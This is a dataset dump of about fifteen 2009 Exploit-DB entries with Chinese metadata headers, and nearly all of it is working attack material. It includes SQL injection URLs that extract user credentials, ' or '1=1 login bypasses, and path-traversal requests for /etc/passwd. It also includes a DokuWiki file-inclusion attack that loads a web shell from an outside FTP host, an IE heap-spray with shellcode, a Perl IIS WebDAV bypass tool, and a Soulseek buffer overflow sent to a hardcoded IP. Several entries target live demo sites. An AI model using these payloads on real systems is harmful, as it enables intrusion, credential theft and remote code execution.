QLWD/code_shield huggingface dataset:
标题: Million Dollar Text Links 1.0 - 'id' SQL Injection EDB-ID: 8830 CVE: 2009-4206 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-29 漏洞利用脚本: ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .  


=By:  Qabandi
=Email: iqa[a]hotmail.fr

 From Kuwait PEACE

=Vuln:  Million Dollar Text Links <= 1.0 SQL injection
=INFO:  http://www.cmsnx.com/product.demo.php?id=12
=BUY:    http://www.cmsnx.com/product.purchase.php?id=12
=DORK:  ----


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

LIVE DEMO:
http://www.kalptarudemos.com/demo/million/admin.link.modify.php?id=-6%20UNION%20SELECT%201,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9--

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-=-=-==-Cookies<3==-=-==-=luv-=-them-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.

# milw0rm.com [2009-05-29] URL: https://www.exploit-db.com/exploits/8830
标题: Zen Help Desk 2.1 - Authentication Bypass EDB-ID: 8825 CVE: 2009-2604 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-29 漏洞利用脚本: ---------------------------------------------------------------
------------------------------------------------------------
Zen Help Desk Version 2.1 (Auth Bypass) SQL Injection Vulnerability 
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.zenhelpdesk.com/
Script:Zen Help Desk Version 2.1 
---------------------------------------------------------------
---------------------------------------------------------------
Exploit:
-------
http://www.site.com/admin.asp

username:[admin_name]' or '1=1
password: No Thing

or 

username:' or '1=1
password:' or '1=1

--------------------------------------
Dem0
---
http://helpdesk-demo.com/admin.asp

--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-29] URL: https://www.exploit-db.com/exploits/8825
标题: 212Cafe WebBoard 2.90 Beta - Remote File Disclosure EDB-ID: 8823 CVE: 2009-2600 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-29 漏洞利用脚本: Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

=============================================================

Author: MrDoug
Email: mrdoug13 [at] gmail [dot] com

Greetz to all my friends

=============================================================

There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113.  I have not actually read the
source but based on tests I would GUESS they look something
like this...


  7: fopen('title/' . $_GET['topic'] . '.txt');

...

109: fopen('counter/read/' . $_GET['topic'] . '.txt');

...

113: fopen('counter/read/' . $_GET['topic'] . '.txt');


IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.

=============================================================

Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Dork: inurl:"webboard/view.php?topic="

Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

# milw0rm.com [2009-05-29] URL: https://www.exploit-db.com/exploits/8823
标题: Roxio CinePlayer 3.2 - 'SonicMediaPlayer.dll' Remote Buffer Overflow EDB-ID: 8824 CVE: 2009-4841 类型: REMOTE 平台: WINDOWS 发布日期: 2009-05-29 漏洞利用脚本: <html>
 <head>
  <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title>
<br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br>
<br>Advisory from secunia 22251</br>
<br>By : Super-cristal</br>
<br>Greetings: His0k4, snakespc.com</br>
<br>Tested on Windows Xp Sp2 (en),with IE7</br>

<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object>
<script language='javascript'>

  shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
  nops=unescape('%u0c0c%u0c0c');
  headersize =20;
  slackspace= headersize + shellcode.length;
 while( nops.length< slackspace) nops+= nops;
  fillblock= nops.substring(0, slackspace);
  block= nops.substring(0, nops.length- slackspace);
 while( block.length+ slackspace<262144) block= block+ block+ fillblock;
  memory=new Array();
 for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode;
  buffer='';
 for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c');
 test.DiskType( buffer);
</script>
</head>
</html>

# milw0rm.com [2009-05-29] URL: https://www.exploit-db.com/exploits/8824
标题: Million Dollar Text Links 1.x - Insecure Cookie Handling EDB-ID: 8813 CVE: 2009-1854 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-27 漏洞利用脚本: ----------------------------------------------------------------
Million Dollar Text Links Insecure Cookie Handling Vulnerability
----------------------------------------------------------------

Author.: HxH
Contact: HxH[at]live[dot]at

---------------------------

Script.: Million Dollar Text Links 1.0
Home...: http://cmsnx.com/product.about.php?id=12

-------------------------------------------------

Exploit: javascript:document.cookie="userid=1; path=/";

-------------------------------------------------------

demo...: http://kalptarudemos.com/demo/million/admin.php

--------------------------------------------------------

Greetz.: No-Exploit.com Members

-------------------------------

# milw0rm.com [2009-05-27] URL: https://www.exploit-db.com/exploits/8813
标题: Easy Px 41 CMS 09.00.00B1 - 'fiche' Local File Inclusion EDB-ID: 8815 CVE: 2009-1847 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-27 漏洞利用脚本: # Easy Px 41 CMS v09.00.00B1 (fiche) Local File Include Exploit
# D.Script: http://www.easy-script.com/scripts-dl/EPX41v9.zip
# Discovered by: ThE g0bL!N
# Greetz To: ALL My Friend (dz)
# Exploit: /[path]/?view=LivreDor&fiche=../../../../../../../../etc/passwd%00
# Demo :http://www.epx41.be/?view=LivreDor&fiche=../../../../../../../../etc/passwd%00

# milw0rm.com [2009-05-27] URL: https://www.exploit-db.com/exploits/8815
标题: Joomla! Component AgoraGroup 0.3.5.3 - Blind SQL Injection EDB-ID: 8814 CVE: 2009-1848 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-27 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_agoragroup (id) Blind SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Greetz        :  d4n!ux x_jeshua + eCORE + Painboy + rayok3nt & N03!
[+] Vulnerability :  Blind SQL injection 
[+] Google Dork   :  imagine ;)
--------------------------------------------------
author       :     Russell...
author Email :     chipdebios@gmail.com

###################################################

Example:
http://localHost/path/index.php?option=com_agoragroup&con=groupdetail&id=2[SQL code]


SQL code:
and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96


DEMO:


http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=72



etc, etc....
+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

<name>AgoraGroup</name>
<version>0.3.5.3</version>
<description>AgoraGroups- Groups component for Agora Forum v.3+</description>
<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
<author>The JoomlaMe team</author>
<authoremail>info@easy-joomla.org</authoremail>
<authorurl>http://www.easy-joomla.org</authorurl>

# milw0rm.com [2009-05-27] URL: https://www.exploit-db.com/exploits/8814
标题: SiteX 0.7.4.418 - 'THEME_FOLDER' Local File Inclusion EDB-ID: 8816 CVE: 2009-1846 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-27 漏洞利用脚本: =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script:SiteX_074_build_418.zip
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://sourceforge.net/project/showfiles.php?group_id=121558&package_id=290027

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
vul:/themes/themes_folders/homepage.php
<?PHP
include("themes/$THEME_FOLDER/header.php"); line 2
--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
xpl:
path/themes/Corporate/homepage.php?THEME_FOLDER=../../../boot.ini%00
path/themes/Fusion/homepage.php?THEME_FOLDER=../../../boot.ini%00
path/themes/Joombo/homepage.ph?THEME_FOLDER=../../../boot.ini%00
path/themes/Streamline/homepage.php?THEME_FOLDER=../../../boot.ini%00
path/themes/Structure/homepage.php?THEME_FOLDER=../../../boot.ini%00
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork:"Powered by SiteX 0.7 Beta"   
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-27] URL: https://www.exploit-db.com/exploits/8816
标题: Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion EDB-ID: 8812 CVE: 2009-1960 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working

I was reading: http://www.milw0rm.com/exploits/8781
by girex

[quote]
It's not a RFI couse use of file_exists function.
[/quote]

How wrong brother!

trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)

http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt

trick 2:
needs register_globals = on
file_uploads = On (default)

include a temporary file passed by the $_FILES[] array:

<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>

where your shell is like:
<?php passthru($_GET[cmd]); die();?>

because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !


Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8812
标题: phpBugTracker 1.0.3 - Authentication Bypass EDB-ID: 8808 CVE: 2009-1850 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: @~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@

              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'


@~~=======================================~~@
@~~=Script   : phpBugTracker 1.0.3

@~~=S.Site   : http://phpbt.sourceforge.net

@~~=Demo     : http://phpbt.sourceforge.net/demo
@~~=======================================~~@

@~~=Vul :

@~~=http://c4team.org/ [Path] /index.php

@~~=Email     : xxx@c4team.org

@~~=Password  : ' or '1=1

@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8808
标题: Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2) EDB-ID: 8806 CVE: 2009-1122 2009-1535 类型: REMOTE 平台: WINDOWS 发布日期: 2009-05-26 漏洞利用脚本: #!/usr/bin/perl -W
#
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# Advisory: http://www.milw0rm.com/exploits/8765
#
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!

use IO::Socket ;

my ( $host, $path ) = @ARGV ;
my $port = 80 ; # webserver port

&usage unless $ARGV[1] ;

$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;
$path =~ s/\/// if(substr($path, 0,1) eq '/');

sub _file {
 $file = shift ;
 open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;
 while( <FILE> ){
  $cont .= $_ ;
 }
 close(FILE) ;
 return $cont ;
}


print "write 'help' for get help list\n";


while( 1 ) {

 my $sock = IO::Socket::INET->new (PeerAddr => $host, 
     PeerPort => $port,
     Proto    => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ;
 print "\$> ";
 chomp( my $option = <STDIN> ) ;
 last if $option eq 'quit' ;

 if($option eq 'source') {
  $path =~ s/\//%c0%af\// ; 
  print $sock "GET /".$path." HTTP/1.1\r\n" ; 
  print $sock "Translate: f\r\n" ;
  print $sock "Host: ".$host."\r\n" ;
  print $sock "Connection: close\r\n\r\n" ;

  while(<$sock>){
   print $_ ;
  }
  close($sock) ;
 }


 elsif($option eq 'path') {
  $path =~ s/\//%c0%af\// ;
  print $sock "PROPFIND  /".$path." HTTP/1.1\r\n" ;
  print $sock "Host: ".$host."\r\n" ;
  print $sock "Connection:close\r\n" ;
  print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
  print $sock "Content-Length: 0\r\n\r\n" ;
  print $sock  '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ;

  while(<$sock>){
   print $_ ;
  }
  close($sock) ;
 }


 elsif($option eq 'put') {
  $path =~ s/\//%c0%af\// ;
  print "[*] Insert a local file (ex: /root/file.txt): " ;
  chomp( $local = <STDIN> ) ;
  $file_l = _file( $local ) ;
  print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ;
  print $sock "Host: ".$host."\r\n" ;
  print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
  print $sock "Connection:close\r\n" ;
  print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ;
  print $sock $file_l,"\r\n" ;

  while(<$sock>){
   print $_ ;
  }
  close($sock) ;
 }

 elsif($option eq 'help') {
  print "\n\t\t- OPTIONS -\n\n\n" ;
  print "\thelp\t\tgive this help list\n" ;
  print "\tsource\t\tget file content\n" ;
  print "\tpath\t\tget directory contents\n" ;
  print "\tput\t\tput file\n" ;
  print "\tquit\t\texit exploit\n\n" ;
 }
 
}

sub usage {
 print << 'EOH' ;

  $ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
  $ written by ka0x <ka0x01[at]gmail.com>
  $ 25/05/2009

usage:
   perl $0 <host> <path>

example:
   perl $0 localhost dir/
   perl $0 localhost dir/file.txt

EOH

 exit;
}
 
 


__END__

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8806
标题: MyForum 1.3 - Authentication Bypass EDB-ID: 8803 CVE: 2009-1852 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: ################################################################################################
[+] MyForum 1.3 (Auth Bypass) Remote SQL Injection
[+] Discovered By : ThE g0bL!N      
[+] Greetz : All my freind      
[+] Note: Tested On localhost :)
[+] http://www.easy-script.com/scripts-dl/myforumv1.3.zip
################################################################################################
Exploit:
-------
Username: [real_admin_name]
Password:' or '1=1
Or
Username: [real_admin_name]' or '1=1
Password:ThE g0bL!N
###############################################################################################

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8803
标题: Kensei Board 2.0.0b - Multiple SQL Injections EDB-ID: 8802 CVE: 2009-1853 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities
Bug found && Exploited by cOndemned
Greetz: SELECT * FROM `friends`

Download Script : http://www.kenseiboard.com/counter/click.php?id=2

---

source of index.php :

 [...]

 87. if ($inc_function == "_showforum") {

 88.  if ($_GET[t] == "") {

 89.   $inc_function = "functions/showforum.php";

 90.  } else {

 91.   $inc_function = "functions/showtopic.php";

 [...]

source of functions/showforum.php :

 [...]

 9. $forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

 [...]

It looks the same for "t" variable ...

---

Proof of Concept :

 "f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
 "t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--

---

// http://www.youtube.com/watch?v=xCMlZxqZ5xI

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8802
标题: Soulseek 157 NS - Remote Buffer Overflow (SEH) EDB-ID: 8804 CVE: 2009-1830 类型: REMOTE 平台: WINDOWS 发布日期: 2009-05-26 漏洞利用脚本: #!/usr/bin/python
#[x] Bug :Soulseek 157 NS Remote Seh Overwrite Exploit
#[x] Credits & poc from : http://www.milw0rm.com/exploits/8777
#[x] Tested on : Windows Xp (sp3), Soulseek 157 NS 12d
#[x] The exploit attacks the user :"test4321"

import struct
import sys, socket
from time import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch

request = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00"
request += "testt4321" # username
request += "\x08\x00\x00\x00"
request += "12345678" # password
request += "\xb5\x00\x00\x00\x20\x00\x00\x00"
request += "\x38\x65\x39\x31\x66\x37\x33\x30\x35\x35\x37\x31\x32\x35\x64\x37"
request += "\x34\x39\x32\x34\x62\x64\x66\x35\x63\x32\x39\x61\x36\x37\x64\x61"
request += "\x01\x00\x00\x00"

s.send(request)
sleep(1)

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x38"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x48"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x48\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x46\x43\x56\x42\x50\x5a")

payload  = "\x41" * (3084-len(shellcode))
payload += shellcode
payload += "\xE9\xA4\xFE\xFF\xFF"
payload += "\90"*22
payload += "\xEB\xE3\x41\x42"
payload += "\x34\x14\x40\x00" # p/p/r->SoulSeek.exe
payload += "\x44" * 1423


request2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00"
request2 += "testt4321"
request2 += "\xa4\x5a\x51\x44\xe8\x0e\x00\x00"
request2 += payload

s.send(request2)
sleep(1)
s.recv(1024)

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8804
标题: Apple Safari - RSS 'feed://' Buffer Overflow via libxml2 (PoC) EDB-ID: 8798 CVE: 2008-3529 类型: DOS 平台: WINDOWS 发布日期: 2009-05-26 漏洞利用脚本: #!/usr/bin/ruby
#
# Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529
# Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard 
# http://www.digitalmunition.com , http://www.netragard.com
# 
# The application PubSubAgent quit unexpectedly.
#
# Process:         PubSubAgent [3764]
# Path:            /System/Library/Frameworks/PubSub.framework/Versions/A/Resources/PubSubAgent.app/Contents/MacOS/PubSubAgent
# Identifier:      PubSubAgent
# Version:         ??? (???)
# Code Type:       X86 (Native)
# Parent Process:  launchd [282]
#
# Date/Time:       2008-10-31 15:31:41.355 -0400
# OS Version:      Mac OS X 10.5.5 (9F33)
# Report Version:  6
#
# Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
# Exception Codes: KERN_INVALID_ADDRESS at 0x0000000005050500
#
# Thread 0 crashed with X86 Thread State (32-bit):
#  eax: 0x41414141  ebx: 0x94580535  ecx: 0x00136150  edx: 0x05050500
#  edi: 0x00007000  esi: 0x00100000  ebp: 0xbfffe298  esp: 0xbfffe220
#   ss: 0x0000001f  efl: 0x00010206  eip: 0x94580605   cs: 0x00000017
#   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
#  cr2: 0x05050500
#
# On Windows libxml2.dll provides all the fun since there is no PubSubAgent
# 
# EAX 0131FB10 ASCII "AAAAAAAAAAA..."
# ECX 003D0270
# EDX 00000000
# EBX 41414141
# ESP 030FE6FC
# EBP 030FE918
# ESI 0131FB08 ASCII "AAAAAAAAAAA..."
# EDI 41414141
# EIP 7C919084 ntdll.7C919084
# 
# 7C919084   8B0B             MOV ECX,DWORD PTR DS:[EBX]
# 7C919086   3B4F 04          CMP ECX,DWORD PTR DS:[EDI+4]


require 'webrick'
include WEBrick

# Thats right... no one is taking on water, this is public info (and has been for a while)!
# https://bugzilla.redhat.com/attachment.cgi?id=315480

XML_LOVE =
'<?xml version="1.0"?>' + "\n" +
'<!DOCTYPE longentity [' + "\n" +
'<!ELEMENT longentity (#PCDATA)>' + "\n" +
'<!ENTITY ' +
"A" * 1000 + " " +
'"ha"> ]>' + "\n" +
'<longentity location="&' +
"A" * 1000 +
';">text</longentity>' + "\n"

REDIR_LOVE =
'<meta http-equiv="REFRESH" content="0;url=feed://' + ARGV[0] + '/pwn">'

s = HTTPServer.new( :Port => 80 )

class REDIRECT < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = REDIR_LOVE
   res['Content-Type'] = "text/html"
 end
end

class XMLLOVER < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = XML_LOVE
   res['Content-Type'] = "text/xml"
 end
end

s.mount("/", REDIRECT)
s.mount("/pwn", XMLLOVER)

trap("INT"){ s.shutdown }
s.start

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8798